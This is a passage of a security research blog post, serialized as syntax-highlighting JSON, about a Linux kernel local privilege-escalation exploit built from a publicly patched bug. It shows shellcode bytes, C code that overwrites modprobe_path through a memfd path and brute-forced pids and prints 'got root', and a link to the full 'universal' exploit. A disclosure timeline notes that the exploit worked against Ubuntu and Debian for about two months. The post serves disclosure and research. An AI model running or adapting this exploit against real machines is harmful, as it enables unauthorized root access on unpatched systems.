value":61093}," 0x6a",{"type":22,"tag":264,"props":61095,"children":61096},{"style":1539},[61097],{"type":27,"value":4380},{"type":22,"tag":264,"props":61099,"children":61100},{"style":1597},[61101],{"type":27,"value":21366},{"type":22,"tag":264,"props":61103,"children":61104},{"style":49693},[61105],{"type":27,"value":61106},"\\x48\\xc7\\xc6",{"type":22,"tag":264,"props":61108,"children":61109},{"style":1597},[61110],{"type":27,"value":21366},{"type":22,"tag":264,"props":61112,"children":61113},{"style":1539},[61114],{"type":27,"value":4380},{"type":22,"tag":264,"props":61116,"children":61117},{"style":4344},[61118],{"type":27,"value":18598},{"type":22,"tag":264,"props":61120,"children":61121},{"style":1539},[61122],{"type":27,"value":4390},{"type":22,"tag":264,"props":61124,"children":61125},{"style":4309},[61126],{"type":27,"value":9870},{"type":22,"tag":264,"props":61128,"children":61129},{"style":4344},[61130],{"type":27,"value":4347},{"type":22,"tag":264,"props":61132,"children":61133},{"style":4309},[61134],{"type":27,"value":54005},{"type":22,"tag":264,"props":61136,"children":61137},{"class":1534,"line":5075},[61138,61142,61146,61150,61155,61159,61163,61168,61172,61176,61180,61184,61188,61192],{"type":22,"tag":264,"props":61139,"children":61140},{"style":4401},[61141],{"type":27,"value":60491},{"type":22,"tag":264,"props":61143,"children":61144},{"style":1539},[61145],{"type":27,"value":60433},{"type":22,"tag":264,"props":61147,"children":61148},{"style":4309},[61149],{"type":27,"value":673},{"type":22,"tag":264,"props":61151,"children":61152},{"style":4344},[61153],{"type":27,"value":61154}," 0x71",{"type":22,"tag":264,"props":61156,"children":61157},{"style":1539},[61158],{"type":27,"value":4380},{"type":22,"tag":264,"props":61160,"children":61161},{"style":1597},[61162],{"type":27,"value":21366},{"type":22,"tag":264,"props":61164,"children":61165},{"style":49693},[61166],{"type":27,"value":61167},"\\x48\\xc7\\xc0\\x80\\x00\\x00",{"type":22,"tag":264,"props":61169,"children":61170},{"style":1597},[61171],{"type":27,"value":21366},{"type":22,"tag":264,"props":61173,"children":61174},{"style":1539},[61175],{"type":27,"value":4380},{"type":22,"tag":264,"props":61177,"children":61178},{"style":4344},[61179],{"type":27,"value":19723},{"type":22,"tag":264,"props":61181,"children":61182},{"style":1539},[61183],{"type":27,"value":4390},{"type":22,"tag":264,"props":61185,"children":61186},{"style":4309},[61187],{"type":27,"value":9870},{"type":22,"tag":264,"props":61189,"children":61190},{"style":4344},[61191],{"type":27,"value":4347},{"type":22,"tag":264,"props":61193,"children":61194},{"style":4309},[61195],{"type":27,"value":54005},{"type":22,"tag":264,"props":61197,"children":61198},{"class":1534,"line":5105},[61199,61203,61207,61211,61216,61220,61224,61229,61233,61237,61241,61245,61249,61253],{"type":22,"tag":264,"props":61200,"children":61201},{"style":4401},[61202],{"type":27,"value":60491},{"type":22,"tag":264,"props":61204,"children":61205},{"style":1539},[61206],{"type":27,"value":60433},{"type":22,"tag":264,"props":61208,"children":61209},{"style":4309},[61210],{"type":27,"value":673},{"type":22,"tag":264,"props":61212,"children":61213},{"style":4344},[61214],{"type":27,"value":61215}," 0x78",{"type":22,"tag":264,"props":61217,"children":61218},{"style":1539},[61219],{"type":27,"value":4380},{"type":22,"tag":264,"props":61221,"children":61222},{"style":1597},[61223],{"type":27,"value":21366},{"type":22,"tag":264,"props":61225,"children":61226},{"style":49693},[61227],{"type":27,"value":61228},"\\xff\\xe0",{"type":22,"tag":264,"props":61230,"children":61231},{"style":1597},[61232],{"type":27,"value":21366},{"type":22,"tag":264,"props":61234,"children":61235},{"style":1539},[61236],{"type":27,"value":4380},{"type":22,"tag":264,"props":61238,"children":61239},{"style":4344},[61240],{"type":27,"value":3568},{"type":22,"tag":264,"props":61242,"children":61243},{"style":1539},[61244],{"type":27,"value":4390},{"type":22,"tag":264,"props":61246,"children":61247},{"style":4309},[61248],{"type":27,"value":9870},{"type":22,"tag":264,"props":61250,"children":61251},{"style":4344},[61252],{"type":27,"value":4347},{"type":22,"tag":264,"props":61254,"children":61255},{"style":1539},[61256],{"type":27,"value":4463},{"type":22,"tag":264,"props":61258,"children":61259},{"class":1534,"line":5113},[61260,61264,61268],{"type":22,"tag":264,"props":61261,"children":61262},{"style":4328},[61263],{"type":27,"value":17044},{"type":22,"tag":264,"props":61265,"children":61266},{"style":4293},[61267],{"type":27,"value":13768},{"type":22,"tag":264,"props":61269,"children":61270},{"style":1539},[61271],{"type":27,"value":4322},{"type":22,"tag":264,"props":61273,"children":61274},{"class":1534,"line":5145},[61275],{"type":22,"tag":264,"props":61276,"children":61277},{"emptyLinePlaceholder":17},[61278],{"type":27,"value":4986},{"type":22,"tag":264,"props":61280,"children":61281},{"class":1534,"line":5153},[61282,61286,61290],{"type":22,"tag":264,"props":61283,"children":61284},{"style":4328},[61285],{"type":27,"value":18291},{"type":22,"tag":264,"props":61287,"children":61288},{"style":4293},[61289],{"type":27,"value":10354},{"type":22,"tag":264,"props":61291,"children":61292},{"style":1539},[61293],{"type":27,"value":4322},{"type":22,"tag":264,"props":61295,"children":61296},{"class":1534,"line":5213},[61297],{"type":22,"tag":264,"props":61298,"children":61299},{"style":1539},[61300],{"type":27,"value":1692},{"type":22,"tag":264,"props":61302,"children":61303},{"class":1534,"line":10343},[61304],{"type":22,"tag":264,"props":61305,"children":61306},{"style":1539},[61307],{"type":27,"value":11616},{"type":22,"tag":181,"props":61309,"children":61311},{"id":61310},"overwriting-modprobe_path",[61312,61314],{"type":27,"value":61313},"Overwriting ",{"type":22,"tag":257,"props":61315,"children":61317},{"className":61316},[],[61318],{"type":27,"value":59699},{"type":22,"tag":23,"props":61320,"children":61321},{},[61322,61324,61330],{"type":27,"value":61323},"Finding the ",{"type":22,"tag":257,"props":61325,"children":61327},{"className":61326},[],[61328],{"type":27,"value":61329},"/sbin/modprobe",{"type":27,"value":61331}," string in kernel memory and replacing it with a controlled value that points to a file we own finally becomes relatively trivial.",{"type":22,"tag":23,"props":61333,"children":61334},{},[61335,61337,61343],{"type":27,"value":61336},"A very well-known trick for this to work, although we are running in a chroot without being able to create files at the root filesystem, is using a memfd exposed through ",{"type":22,"tag":257,"props":61338,"children":61340},{"className":61339},[],[61341],{"type":27,"value":61342},"/proc/\u003Cpid>/fd/\u003Cn>.",{"type":27,"value":61344}," It's worth adding that, given that our pid outside the unprivileged namespace is unknown to us, we brute-force it.",{"type":22,"tag":618,"props":61346,"children":61348},{"className":30424,"code":61347,"language":30426,"meta":7,"style":7},"[...]\n    puts(\"[*] overwrite modprobe_path\");\n    for (int i = 0; i \u003C 4194304; i++)\n    {\n        pipebuf->page = modprobe_page;\n        pipebuf->offset = modprobe_off;\n        pipebuf->len = 0;\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] write(socket)\");\n                break;\n            }\n        }\n\n        memset(&data, 0, PAGE_SIZE);\n        snprintf(fd_path, sizeof(fd_path), \"/proc/%i/fd/%i\", i, modprobe_fd);\n\n        lseek(modprobe_fd, 0, SEEK_SET);\n        dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n\n        if (write(pfd[pipe_idx][1], fd_path, 32) \u003C 0)\n        {\n            perror(\"\\n[-] write(pipe)\");\n        }\n\n        if (check_modprobe(fd_path))\n        {\n            puts(\"[-] failed to overwrite modprobe\");\n            break;\n        }\n\n        if (trigger_modprobe(status_fd))\n        {\n            puts(\"\\n[+] got root\");\n            goto out;\n        }\n\n        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n        {\n            if (read(sock[i][1], leak, 1024 - 320) \u003C 0)\n            {\n                perror(\"[-] read(socket)\");\n                return -1;\n            }\n        }\n    }\n    puts(\"[-] fake modprobe failed\");\n[...]\n",[61349],{"type":22,"tag":257,"props":61350,"children":61351},{"__ignoreMap":7},[61352,61359,61381,61389,61396,61404,61412,61420,61428,61435,61443,61450,61488,61499,61506,61513,61520,61547,61578,61585,61607,61620,61627,61685,61692,61720,61727,61734,61755,61762,61783,61794,61801,61808,61829,61836,61864,61877,61884,61891,61940,61947,62015,62022,62043,62063,62070,62077,62084,62104],{"type":22,"tag":264,"props":61353,"children":61354},{"class":1534,"line":1535},[61355],{"type":22,"tag":264,"props":61356,"children":61357},{"style":1539},[61358],{"type":27,"value":11616},{"type":22,"tag":264,"props":61360,"children":61361},{"class":1534,"line":1545},[61362,61367,61372,61377],{"type":22,"tag":264,"props":61363,"children":61364},{"style":1539},[61365],{"type":27,"value":61366},"    puts(\"[*] ",{"type":22,"tag":264,"props":61368,"children":61369},{"style":4722},[61370],{"type":27,"value":61371},"overwrite",{"type":22,"tag":264,"props":61373,"children":61374},{"style":4722},[61375],{"type":27,"value":61376}," modprobe_path",{"type":22,"tag":264,"props":61378,"children":61379},{"style":1597},[61380],{"type":27,"value":57612},{"type":22,"tag":264,"props":61382,"children":61383},{"class":1534,"line":1560},[61384],{"type":22,"tag":264,"props":61385,"children":61386},{"style":1597},[61387],{"type":27,"value":61388},"    for (int i = 0; i \u003C 4194304; i++)\n",{"type":22,"tag":264,"props":61390,"children":61391},{"class":1534,"line":1569},[61392],{"type":22,"tag":264,"props":61393,"children":61394},{"style":1597},[61395],{"type":27,"value":1566},{"type":22,"tag":264,"props":61397,"children":61398},{"class":1534,"line":1583},[61399],{"type":22,"tag":264,"props":61400,"children":61401},{"style":1597},[61402],{"type":27,"value":61403},"        pipebuf->page = modprobe_page;\n",{"type":22,"tag":264,"props":61405,"children":61406},{"class":1534,"line":1603},[61407],{"type":22,"tag":264,"props":61408,"children":61409},{"style":1597},[61410],{"type":27,"value":61411},"        pipebuf->offset = modprobe_off;\n",{"type":22,"tag":264,"props":61413,"children":61414},{"class":1534,"line":1612},[61415],{"type":22,"tag":264,"props":61416,"children":61417},{"style":1597},[61418],{"type":27,"value":61419},"        pipebuf->len = 0;\n",{"type":22,"tag":264,"props":61421,"children":61422},{"class":1534,"line":1621},[61423],{"type":22,"tag":264,"props":61424,"children":61425},{"style":1597},[61426],{"type":27,"value":61427},"        for (int i = 0; i \u003C SKBUF_SPRAY; i++)\n",{"type":22,"tag":264,"props":61429,"children":61430},{"class":1534,"line":1629},[61431],{"type":22,"tag":264,"props":61432,"children":61433},{"style":1597},[61434],{"type":27,"value":32974},{"type":22,"tag":264,"props":61436,"children":61437},{"class":1534,"line":1642},[61438],{"type":22,"tag":264,"props":61439,"children":61440},{"style":1597},[61441],{"type":27,"value":61442},"            if (write(sock[i][0], pipebuf, 1024 - 320) \u003C 0)\n",{"type":22,"tag":264,"props":61444,"children":61445},{"class":1534,"line":1660},[61446],{"type":22,"tag":264,"props":61447,"children":61448},{"style":1597},[61449],{"type":27,"value":33010},{"type":22,"tag":264,"props":61451,"children":61452},{"class":1534,"line":1668},[61453,61458,61462,61466,61470,61475,61479,61483],{"type":22,"tag":264,"props":61454,"children":61455},{"style":1597},[61456],{"type":27,"value":61457},"                perror(\"",{"type":22,"tag":264,"props":61459,"children":61460},{"style":1539},[61461],{"type":27,"value":5045},{"type":22,"tag":264,"props":61463,"children":61464},{"style":4309},[61465],{"type":27,"value":5621},{"type":22,"tag":264,"props":61467,"children":61468},{"style":1539},[61469],{"type":27,"value":9956},{"type":22,"tag":264,"props":61471,"children":61472},{"style":4722},[61473],{"type":27,"value":61474},"write",{"type":22,"tag":264,"props":61476,"children":61477},{"style":1539},[61478],{"type":27,"value":2660},{"type":22,"tag":264,"props":61480,"children":61481},{"style":4722},[61482],{"type":27,"value":43254},{"type":22,"tag":264,"props":61484,"children":61485},{"style":1539},[61486],{"type":27,"value":61487},")\");\n",{"type":22,"tag":264,"props":61489,"children":61490},{"class":1534,"line":1677},[61491,61495],{"type":22,"tag":264,"props":61492,"children":61493},{"style":4328},[61494],{"type":27,"value":60281},{"type":22,"tag":264,"props":61496,"children":61497},{"style":1539},[61498],{"type":27,"value":4322},{"type":22,"tag":264,"props":61500,"children":61501},{"class":1534,"line":1686},[61502],{"type":22,"tag":264,"props":61503,"children":61504},{"style":1539},[61505],{"type":27,"value":60206},{"type":22,"tag":264,"props":61507,"children":61508},{"class":1534,"line":4948},[61509],{"type":22,"tag":264,"props":61510,"children":61511},{"style":1539},[61512],{"type":27,"value":4651},{"type":22,"tag":264,"props":61514,"children":61515},{"class":1534,"line":4957},[61516],{"type":22,"tag":264,"props":61517,"children":61518},{"emptyLinePlaceholder":17},[61519],{"type":27,"value":4986},{"type":22,"tag":264,"props":61521,"children":61522},{"class":1534,"line":4980},[61523,61527,61531,61535,61539,61543],{"type":22,"tag":264,"props":61524,"children":61525},{"style":4401},[61526],{"type":27,"value":55938},{"type":22,"tag":264,"props":61528,"children":61529},{"style":1539},[61530],{"type":27,"value":2660},{"type":22,"tag":264,"props":61532,"children":61533},{"style":4309},[61534],{"type":27,"value":4413},{"type":22,"tag":264,"props":61536,"children":61537},{"style":1539},[61538],{"type":27,"value":60092},{"type":22,"tag":264,"props":61540,"children":61541},{"style":4344},[61542],{"type":27,"value":5334},{"type":22,"tag":264,"props":61544,"children":61545},{"style":1539},[61546],{"type":27,"value":60101},{"type":22,"tag":264,"props":61548,"children":61549},{"class":1534,"line":4989},[61550,61554,61559,61563,61568,61573],{"type":22,"tag":264,"props":61551,"children":61552},{"style":4401},[61553],{"type":27,"value":56639},{"type":22,"tag":264,"props":61555,"children":61556},{"style":1539},[61557],{"type":27,"value":61558},"(fd_path, ",{"type":22,"tag":264,"props":61560,"children":61561},{"style":4293},[61562],{"type":27,"value":56649},{"type":22,"tag":264,"props":61564,"children":61565},{"style":1539},[61566],{"type":27,"value":61567},"(fd_path), ",{"type":22,"tag":264,"props":61569,"children":61570},{"style":1597},[61571],{"type":27,"value":61572},"\"/proc/%i/fd/%i\"",{"type":22,"tag":264,"props":61574,"children":61575},{"style":1539},[61576],{"type":27,"value":61577},", i, modprobe_fd);\n",{"type":22,"tag":264,"props":61579,"children":61580},{"class":1534,"line":4998},[61581],{"type":22,"tag":264,"props":61582,"children":61583},{"emptyLinePlaceholder":17},[61584],{"type":27,"value":4986},{"type":22,"tag":264,"props":61586,"children":61587},{"class":1534,"line":5067},[61588,61593,61598,61602],{"type":22,"tag":264,"props":61589,"children":61590},{"style":4401},[61591],{"type":27,"value":61592},"        lseek",{"type":22,"tag":264,"props":61594,"children":61595},{"style":1539},[61596],{"type":27,"value":61597},"(modprobe_fd, ",{"type":22,"tag":264,"props":61599,"children":61600},{"style":4344},[61601],{"type":27,"value":5334},{"type":22,"tag":264,"props":61603,"children":61604},{"style":1539},[61605],{"type":27,"value":61606},", SEEK_SET);\n",{"type":22,"tag":264,"props":61608,"children":61609},{"class":1534,"line":5075},[61610,61615],{"type":22,"tag":264,"props":61611,"children":61612},{"style":4401},[61613],{"type":27,"value":61614},"        dprintf",{"type":22,"tag":264,"props":61616,"children":61617},{"style":1539},[61618],{"type":27,"value":61619},"(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd);\n",{"type":22,"tag":264,"props":61621,"children":61622},{"class":1534,"line":5105},[61623],{"type":22,"tag":264,"props":61624,"children":61625},{"emptyLinePlaceholder":17},[61626],{"type":27,"value":4986},{"type":22,"tag":264,"props":61628,"children":61629},{"class":1534,"line":5113},[61630,61634,61638,61642,61646,61650,61655,61659,61664,61669,61673,61677,61681],{"type":22,"tag":264,"props":61631,"children":61632},{"style":4328},[61633],{"type":27,"value":4575},{"type":22,"tag":264,"props":61635,"children":61636},{"style":1539},[61637],{"type":27,"value":4370},{"type":22,"tag":264,"props":61639,"children":61640},{"style":4401},[61641],{"type":27,"value":61474},{"type":22,"tag":264,"props":61643,"children":61644},{"style":1539},[61645],{"type":27,"value":2660},{"type":22,"tag":264,"props":61647,"children":61648},{"style":1549},[61649],{"type":27,"value":60145},{"type":22,"tag":264,"props":61651,"children":61652},{"style":1539},[61653],{"type":27,"value":61654},"[pipe_idx][",{"type":22,"tag":264,"props":61656,"children":61657},{"style":4344},[61658],{"type":27,"value":602},{"type":22,"tag":264,"props":61660,"children":61661},{"style":1539},[61662],{"type":27,"value":61663},"], fd_path, ",{"type":22,"tag":264,"props":61665,"children":61666},{"style":4344},[61667],{"type":27,"value":61668},"32",{"type":22,"tag":264,"props":61670,"children":61671},{"style":1539},[61672],{"type":27,"value":4390},{"type":22,"tag":264,"props":61674,"children":61675},{"style":4309},[61676],{"type":27,"value":7097},{"type":22,"tag":264,"props":61678,"children":61679},{"style":4344},[61680],{"type":27,"value":4347},{"type":22,"tag":264,"props":61682,"children":61683},{"style":1539},[61684],{"type":27,"value":4463},{"type":22,"tag":264,"props":61686,"children":61687},{"class":1534,"line":5145},[61688],{"type":22,"tag":264,"props":61689,"children":61690},{"style":1539},[61691],{"type":27,"value":32974},{"type":22,"tag":264,"props":61693,"children":61694},{"class":1534,"line":5153},[61695,61699,61703,61707,61711,61716],{"type":22,"tag":264,"props":61696,"children":61697},{"style":4401},[61698],{"type":27,"value":59218},{"type":22,"tag":264,"props":61700,"children":61701},{"style":1539},[61702],{"type":27,"value":2660},{"type":22,"tag":264,"props":61704,"children":61705},{"style":1597},[61706],{"type":27,"value":21366},{"type":22,"tag":264,"props":61708,"children":61709},{"style":49693},[61710],{"type":27,"value":49696},{"type":22,"tag":264,"props":61712,"children":61713},{"style":1597},[61714],{"type":27,"value":61715},"[-] write(pipe)\"",{"type":22,"tag":264,"props":61717,"children":61718},{"style":1539},[61719],{"type":27,"value":5142},{"type":22,"tag":264,"props":61721,"children":61722},{"class":1534,"line":5213},[61723],{"type":22,"tag":264,"props":61724,"children":61725},{"style":1539},[61726],{"type":27,"value":4651},{"type":22,"tag":264,"props":61728,"children":61729},{"class":1534,"line":10343},[61730],{"type":22,"tag":264,"props":61731,"children":61732},{"emptyLinePlaceholder":17},[61733],{"type":27,"value":4986},{"type":22,"tag":264,"props":61735,"children":61736},{"class":1534,"line":10361},[61737,61741,61745,61750],{"type":22,"tag":264,"props":61738,"children":61739},{"style":4328},[61740],{"type":27,"value":4575},{"type":22,"tag":264,"props":61742,"children":61743},{"style":1539},[61744],{"type":27,"value":4370},{"type":22,"tag":264,"props":61746,"children":61747},{"style":4401},[61748],{"type":27,"value":61749},"check_modprobe",{"type":22,"tag":264,"props":61751,"children":61752},{"style":1539},[61753],{"type":27,"value":61754},"(fd_path))\n",{"type":22,"tag":264,"props":61756,"children":61757},{"class":1534,"line":10406},[61758],{"type":22,"tag":264,"props":61759,"children":61760},{"style":1539},[61761],{"type":27,"value":32974},{"type":22,"tag":264,"props":61763,"children":61764},{"class":1534,"line":10512},[61765,61770,61774,61779],{"type":22,"tag":264,"props":61766,"children":61767},{"style":4401},[61768],{"type":27,"value":61769},"            puts",{"type":22,"tag":264,"props":61771,"children":61772},{"style":1539},[61773],{"type":27,"value":2660},{"type":22,"tag":264,"props":61775,"children":61776},{"style":1597},[61777],{"type":27,"value":61778},"\"[-] failed to overwrite modprobe\"",{"type":22,"tag":264,"props":61780,"children":61781},{"style":1539},[61782],{"type":27,"value":5142},{"type":22,"tag":264,"props":61784,"children":61785},{"class":1534,"line":24810},[61786,61790],{"type":22,"tag":264,"props":61787,"children":61788},{"style":4328},[61789],{"type":27,"value":4602},{"type":22,"tag":264,"props":61791,"children":61792},{"style":1539},[61793],{"type":27,"value":4322},{"type":22,"tag":264,"props":61795,"children":61796},{"class":1534,"line":24845},[61797],{"type":22,"tag":264,"props":61798,"children":61799},{"style":1539},[61800],{"type":27,"value":4651},{"type":22,"tag":264,"props":61802,"children":61803},{"class":1534,"line":24853},[61804],{"type":22,"tag":264,"props":61805,"children":61806},{"emptyLinePlaceholder":17},[61807],{"type":27,"value":4986},{"type":22,"tag":264,"props":61809,"children":61810},{"class":1534,"line":24861},[61811,61815,61819,61824],{"type":22,"tag":264,"props":61812,"children":61813},{"style":4328},[61814],{"type":27,"value":4575},{"type":22,"tag":264,"props":61816,"children":61817},{"style":1539},[61818],{"type":27,"value":4370},{"type":22,"tag":264,"props":61820,"children":61821},{"style":4401},[61822],{"type":27,"value":61823},"trigger_modprobe",{"type":22,"tag":264,"props":61825,"children":61826},{"style":1539},[61827],{"type":27,"value":61828},"(status_fd))\n",{"type":22,"tag":264,"props":61830,"children":61831},{"class":1534,"line":24870},[61832],{"type":22,"tag":264,"props":61833,"children":61834},{"style":1539},[61835],{"type":27,"value":32974},{"type":22,"tag":264,"props":61837,"children":61838},{"class":1534,"line":24912},[61839,61843,61847,61851,61855,61860],{"type":22,"tag":264,"props":61840,"children":61841},{"style":4401},[61842],{"type":27,"value":61769},{"type":22,"tag":264,"props":61844,"children":61845},{"style":1539},[61846],{"type":27,"value":2660},{"type":22,"tag":264,"props":61848,"children":61849},{"style":1597},[61850],{"type":27,"value":21366},{"type":22,"tag":264,"props":61852,"children":61853},{"style":49693},[61854],{"type":27,"value":49696},{"type":22,"tag":264,"props":61856,"children":61857},{"style":1597},[61858],{"type":27,"value":61859},"[+] got root\"",{"type":22,"tag":264,"props":61861,"children":61862},{"style":1539},[61863],{"type":27,"value":5142},{"type":22,"tag":264,"props":61865,"children":61866},{"class":1534,"line":24945},[61867,61872],{"type":22,"tag":264,"props":61868,"children":61869},{"style":4328},[61870],{"type":27,"value":61871},"            goto",{"type":22,"tag":264,"props":61873,"children":61874},{"style":1539},[61875],{"type":27,"value":61876}," out;\n",{"type":22,"tag":264,"props":61878,"children":61879},{"class":1534,"line":24953},[61880],{"type":22,"tag":264,"props":61881,"children":61882},{"style":1539},[61883],{"type":27,"value":4651},{"type":22,"tag":264,"props":61885,"children":61886},{"class":1534,"line":24961},[61887],{"type":22,"tag":264,"props":61888,"children":61889},{"emptyLinePlaceholder":17},[61890],{"type":27,"value":4986},{"type":22,"tag":264,"props":61892,"children":61893},{"class":1534,"line":24970},[61894,61899,61903,61907,61911,61915,61919,61923,61927,61932,61936],{"type":22,"tag":264,"props":61895,"children":61896},{"style":4328},[61897],{"type":27,"value":61898},"        for",{"type":22,"tag":264,"props":61900,"children":61901},{"style":1539},[61902],{"type":27,"value":4370},{"type":22,"tag":264,"props":61904,"children":61905},{"style":4293},[61906],{"type":27,"value":20352},{"type":22,"tag":264,"props":61908,"children":61909},{"style":1539},[61910],{"type":27,"value":55865},{"type":22,"tag":264,"props":61912,"children":61913},{"style":4309},[61914],{"type":27,"value":429},{"type":22,"tag":264,"props":61916,"children":61917},{"style":4344},[61918],{"type":27,"value":4347},{"type":22,"tag":264,"props":61920,"children":61921},{"style":1539},[61922],{"type":27,"value":52554},{"type":22,"tag":264,"props":61924,"children":61925},{"style":4309},[61926],{"type":27,"value":7097},{"type":22,"tag":264,"props":61928,"children":61929},{"style":1539},[61930],{"type":27,"value":61931}," SKBUF_SPRAY; i",{"type":22,"tag":264,"props":61933,"children":61934},{"style":4309},[61935],{"type":27,"value":52590},{"type":22,"tag":264,"props":61937,"children":61938},{"style":1539},[61939],{"type":27,"value":4463},{"type":22,"tag":264,"props":61941,"children":61942},{"class":1534,"line":25046},[61943],{"type":22,"tag":264,"props":61944,"children":61945},{"style":1539},[61946],{"type":27,"value":32974},{"type":22,"tag":264,"props":61948,"children":61949},{"class":1534,"line":25079},[61950,61954,61958,61963,61967,61972,61977,61981,61986,61990,61994,61999,62003,62007,62011],{"type":22,"tag":264,"props":61951,"children":61952},{"style":4328},[61953],{"type":27,"value":60122},{"type":22,"tag":264,"props":61955,"children":61956},{"style":1539},[61957],{"type":27,"value":4370},{"type":22,"tag":264,"props":61959,"children":61960},{"style":4401},[61961],{"type":27,"value":61962},"read",{"type":22,"tag":264,"props":61964,"children":61965},{"style":1539},[61966],{"type":27,"value":2660},{"type":22,"tag":264,"props":61968,"children":61969},{"style":1549},[61970],{"type":27,"value":61971},"sock",{"type":22,"tag":264,"props":61973,"children":61974},{"style":1539},[61975],{"type":27,"value":61976},"[i][",{"type":22,"tag":264,"props":61978,"children":61979},{"style":4344},[61980],{"type":27,"value":602},{"type":22,"tag":264,"props":61982,"children":61983},{"style":1539},[61984],{"type":27,"value":61985},"], leak, ",{"type":22,"tag":264,"props":61987,"children":61988},{"style":4344},[61989],{"type":27,"value":59469},{"type":22,"tag":264,"props":61991,"children":61992},{"style":4309},[61993],{"type":27,"value":52576},{"type":22,"tag":264,"props":61995,"children":61996},{"style":4344},[61997],{"type":27,"value":61998}," 320",{"type":22,"tag":264,"props":62000,"children":62001},{"style":1539},[62002],{"type":27,"value":4390},{"type":22,"tag":264,"props":62004,"children":62005},{"style":4309},[62006],{"type":27,"value":7097},{"type":22,"tag":264,"props":62008,"children":62009},{"style":4344},[62010],{"type":27,"value":4347},{"type":22,"tag":264,"props":62012,"children":62013},{"style":1539},[62014],{"type":27,"value":4463},{"type":22,"tag":264,"props":62016,"children":62017},{"class":1534,"line":25087},[62018],{"type":22,"tag":264,"props":62019,"children":62020},{"style":1539},[62021],{"type":27,"value":33010},{"type":22,"tag":264,"props":62023,"children":62024},{"class":1534,"line":25095},[62025,62030,62034,62039],{"type":22,"tag":264,"props":62026,"children":62027},{"style":4401},[62028],{"type":27,"value":62029},"                perror",{"type":22,"tag":264,"props":62031,"children":62032},{"style":1539},[62033],{"type":27,"value":2660},{"type":22,"tag":264,"props":62035,"children":62036},{"style":1597},[62037],{"type":27,"value":62038},"\"[-] read(socket)\"",{"type":22,"tag":264,"props":62040,"children":62041},{"style":1539},[62042],{"type":27,"value":5142},{"type":22,"tag":264,"props":62044,"children":62045},{"class":1534,"line":25132},[62046,62051,62055,62059],{"type":22,"tag":264,"props":62047,"children":62048},{"style":4328},[62049],{"type":27,"value":62050},"                return",{"type":22,"tag":264,"props":62052,"children":62053},{"style":4309},[62054],{"type":27,"value":52576},{"type":22,"tag":264,"props":62056,"children":62057},{"style":4344},[62058],{"type":27,"value":602},{"type":22,"tag":264,"props":62060,"children":62061},{"style":1539},[62062],{"type":27,"value":4322},{"type":22,"tag":264,"props":62064,"children":62065},{"class":1534,"line":25145},[62066],{"type":22,"tag":264,"props":62067,"children":62068},{"style":1539},[62069],{"type":27,"value":60206},{"type":22,"tag":264,"props":62071,"children":62072},{"class":1534,"line":25158},[62073],{"type":22,"tag":264,"props":62074,"children":62075},{"style":1539},[62076],{"type":27,"value":4651},{"type":22,"tag":264,"props":62078,"children":62079},{"class":1534,"line":25171},[62080],{"type":22,"tag":264,"props":62081,"children":62082},{"style":1539},[62083],{"type":27,"value":1674},{"type":22,"tag":264,"props":62085,"children":62086},{"class":1534,"line":25225},[62087,62091,62095,62100],{"type":22,"tag":264,"props":62088,"children":62089},{"style":4401},[62090],{"type":27,"value":56828},{"type":22,"tag":264,"props":62092,"children":62093},{"style":1539},[62094],{"type":27,"value":2660},{"type":22,"tag":264,"props":62096,"children":62097},{"style":1597},[62098],{"type":27,"value":62099},"\"[-] fake modprobe failed\"",{"type":22,"tag":264,"props":62101,"children":62102},{"style":1539},[62103],{"type":27,"value":5142},{"type":22,"tag":264,"props":62105,"children":62106},{"class":1534,"line":25234},[62107],{"type":22,"tag":264,"props":62108,"children":62109},{"style":1539},[62110],{"type":27,"value":11616},{"type":22,"tag":23,"props":62112,"children":62113},{},[62114,62116,62123],{"type":27,"value":62115},"This trick has already been throughly detailed by ",{"type":22,"tag":69,"props":62117,"children":62120},{"href":62118,"rel":62119},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[73],[62121],{"type":27,"value":62122},"lau",{"type":27,"value":62124},", so we won't go much more into it.",{"type":22,"tag":181,"props":62126,"children":62128},{"id":62127},"universal-exploit-demo",[62129],{"type":27,"value":62130},"Universal exploit demo",{"type":22,"tag":23,"props":62132,"children":62133},{},[62134,62136,62142],{"type":27,"value":62135},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":22,"tag":69,"props":62137,"children":62140},{"href":62138,"rel":62139},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[73],[62141],{"type":27,"value":58736},{"type":27,"value":210},{"type":22,"tag":169,"props":62144,"children":62146},{"id":62145},"disclosure-timeline",[62147],{"type":27,"value":62148},"Disclosure Timeline",{"type":22,"tag":17988,"props":62150,"children":62151},{},[62152,62157,62162,62167,62172],{"type":22,"tag":1871,"props":62153,"children":62154},{},[62155],{"type":27,"value":62156},"March 21st -- Patch made public",{"type":22,"tag":1871,"props":62158,"children":62159},{},[62160],{"type":27,"value":62161},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":22,"tag":1871,"props":62163,"children":62164},{},[62165],{"type":27,"value":62166},"March 24th -- Wrote KernelCTF exploit",{"type":22,"tag":1871,"props":62168,"children":62169},{},[62170],{"type":27,"value":62171},"March 26th -- Wrote Universal exploit",{"type":22,"tag":1871,"props":62173,"children":62174},{},[62175],{"type":27,"value":62176},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":22,"tag":23,"props":62178,"children":62179},{},[62180],{"type":27,"value":62181},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":22,"tag":169,"props":62183,"children":62184},{"id":30246},[62185],{"type":27,"value":20252},{"type":22,"tag":23,"props":62187,"children":62188},{},[62189],{"type":27,"value":62190},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":22,"tag":23,"props":62192,"children":62193},{},[62194],{"type":27,"value":62195},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are 